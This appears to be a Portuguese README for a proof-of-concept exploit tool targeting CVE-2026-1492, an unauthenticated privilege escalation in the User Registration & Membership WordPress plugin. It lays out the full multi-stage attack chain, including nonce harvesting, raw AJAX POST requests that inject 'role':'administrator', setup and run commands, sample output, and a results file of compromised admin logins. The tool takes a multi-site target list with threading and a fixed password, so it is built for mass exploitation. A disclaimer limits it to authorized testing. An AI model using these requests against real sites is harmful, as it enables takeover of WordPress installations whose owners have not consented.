
User Registration & Membership <= 5.1.2 - Escalação de Privilégios não Autenticada via Registro de Associação
User Registration & Membership <= 5.1.2 - Escalada de Privilégios Não Autenticada via Registro de Associação
Descrição:
O plugin User Registration & Membership para WordPress é vulnerável à Escalada de Privilégios Não Autenticada em todas as versões até e incluindo a 5.1.2. A vulnerabilidade decorre do manipulador AJAX user_registration_membership_register_member aceitar um valor de role fornecido pelo usuário durante o processo de registro de associação, sem impor nenhuma lista de permissões ou verificação de capacidade no lado do servidor. Um atacante remoto completamente não autenticado pode criar uma cadeia de solicitações AJAX em múltiplas etapas — primeiro registrando uma nova conta de usuário e depois enviando uma chamada register_member maliciosa com "role": "administrator" injetado no payload JSON members_data — para criar silenciosamente uma conta de Administrador do WordPress com privilégios totais. Isso resulta no comprometimento completo da instalação WordPress afetada, sem exigir nenhuma interação do usuário.
Este é um script de exploração Proof-of-Concept (PoC) que implementa uma cadeia de ataque completa com ciência de estado contra sites WordPress que executam uma versão vulnerável do plugin User Registration & Membership. A ferramenta realiza exploração inteligente em múltiplos estágios, com descoberta automática, extração de planos, coleta de nonces, registro em fluxo duplo, injeção de função e verificação de administrador.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Ou pelo arquivo de requirements:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
A ferramenta usa uma interface de terminal totalmente interativa desenvolvida com Rich. Todos os parâmetros são solicitados em tempo de execução.
Crie um arquivo de texto simples (padrão: list.txt) com um alvo por linha:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
A ferramenta descobre e analisa automaticamente:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ O servidor aceita o campo
rolevindo do cliente sem nenhuma validação de lista de permissões — esta é a causa raiz do CVE-2026-1492.
A ferramenta abre uma nova sessão, faz login com as credenciais recém-criadas e verifica:
https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-1492 | User Registration & Membership — Admin PoC ║
║ By: Nxploited | GitHub: github.com/Nxploited | @KNxploited ║
╚══════════════════════════════════════════════════════════════════════╝
[INFO] https://target.com
[OK] https://target.com | REG-A-OK user:Nxploited_A_482910 mem:3
[OK] https://target.com | MEM-A-OK membership A (role=administrator payload) sent
[OK] https://target.com | ADMIN-A user:Nxploited_A_482910 pass:Nx_12999 mem:3
┌─────────────────────────────��───────────────────────────────────────────────┐
│ Target │ Status │ Note │
├─────────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ ADMIN-A │ user:Nxploited_A_482910 ... │
│ https://target2.com │ MEM-B-FAIL │ membership not configured │
│ https://target3.com │ DEAD │ connection error │
└─────────────────────────────────────────────────────────────────────────────┘
Por: Nxploited (Khaled Alenazi)
ESTA FERRAMENTA É FORNECIDA APENAS PARA FINS EDUCACIONAIS E DE PESQUISA DE SEGURANÇA AUTORIZADA.
O autor, Nxploited (Khaled Alenazi), e todos os colaboradores deste projeto não aprovam, apoiam nem assumem qualquer responsabilidade pelo uso indevido desta ferramenta ou por qualquer dano causado pelo uso deste software contra sistemas para os quais você não tenha autorização explícita por escrito.
- ✅ Permitido: Uso em sistemas que você possui ou para os quais recebeu permissão explícita por escrito para testar.
- ❌ Proibido: Uso contra qualquer sistema sem autorização explícita por escrito prévia do proprietário do sistema.
O acesso não autorizado a sistemas de computador é ilegal e punível pelas leis aplicáveis, incluindo, mas não se limitando ao Computer Fraud and Abuse Act (CFAA), ao Computer Misuse Act (CMA) e à legislação equivalente em todo o mundo.
Ao usar esta ferramenta, você assume total e única responsabilidade por suas ações e confirma que tem autoridade legal para testar os sistemas-alvo.
O autor não assume nenhuma responsabilidade por quaisquer danos diretos, indiretos, incidentais ou consequentes decorrentes do uso ou uso indevido deste software.
© 2026 Nxploited (Khaled Alenazi) — Somente para pesquisa de segurança autorizada.
| Campo | Detalhes |
|---|
| CVE ID | CVE-2026-1492 |
| Severidade | CRÍTICA — Pontuação CVSS v3.1: 9.8 |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Software Afetado | User Registration & Membership — Construtor de Formulário de Registro Personalizado, Formulário de Login Personalizado, Perfil de Usuário, Plugin de Restrição de Conteúdo e Associação para WordPress |
| Versões Afetadas | Todas as versões até e incluindo a 5.1.2 |
| Tipo de Vulnerabilidade | Gerenciamento Inadequado de Privilégios — Criação Não Autenticada de Conta de Administrador |
| Autenticação Necessária | Nenhuma |
| CWE | CWE-269: Gerenciamento Inadequado de Privilégios |
| Alvo | O Que É Extraído |
|---|
/membership-pricing/ | IDs dos planos de associação, links da página de registro |
/registration/ | Campos do formulário, nonces, URLs AJAX, campos de rádio da associação |
Objeto JS user_registration_params | ajax_url, nonce security, metadados do formulário |
ur_membership_frontend_localized_data | Nonce específico da associação, endpoint AJAX |
| Endpoint | Indicador Verificado |
|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |
| Arquivo | Descrição |
|---|
Nx_admin.txt | ✅ Contas de administrador confirmadas |
membership_success_log.txt | Todas as chamadas bem-sucedidas de injeção de função de associação |
discovery_log.txt | Dados completos de descoberta por alvo (nonces, IDs, campos) |
registration_log.txt | Todas as solicitações e respostas AJAX de registro |
membership_log.txt | Todas as solicitações e respostas AJAX de associação |
admin_check_log.txt | Tentativas de login e resultados da verificação de administrador |
| Status | Cor | Significado |
|---|
ADMIN-A / ADMIN-B | 🟢 Verde | Administrador confirmado — Fluxo A ou B |
ADMIN-A-OVERRIDE | 🟢 Verde | Admin confirmado após tentativa de substituição |
REG-A-FAIL / REG-B-FAIL | 🟡 Amarelo | O AJAX de registro retornou falha |
MEM-A-FAIL / MEM-B-FAIL | 🟣 Magenta | A chamada de injeção de função de associação falhou |
REG-PENDING-A/B | ⚫ Escuro | A conta exige verificação de e-mail ou aprovação do administrador |
NO-MEM-ID | ⚫ Escuro | ID do plano de associação não encontrado no alvo |
NO-UR-NONCE | ⚫ Escuro | Nonce de registro não pode ser extraído |
NO-ADMIN | ⚫ Escuro | Associação OK, mas acesso de admin não confirmado |
TIMEOUT | ⚫ Escuro | Tempo limite de HTTP |
DEAD | ⚫ Escuro | Erro de conexão — site inacessível |
ERROR | 🔴 Vermelho | Exceção inesperada |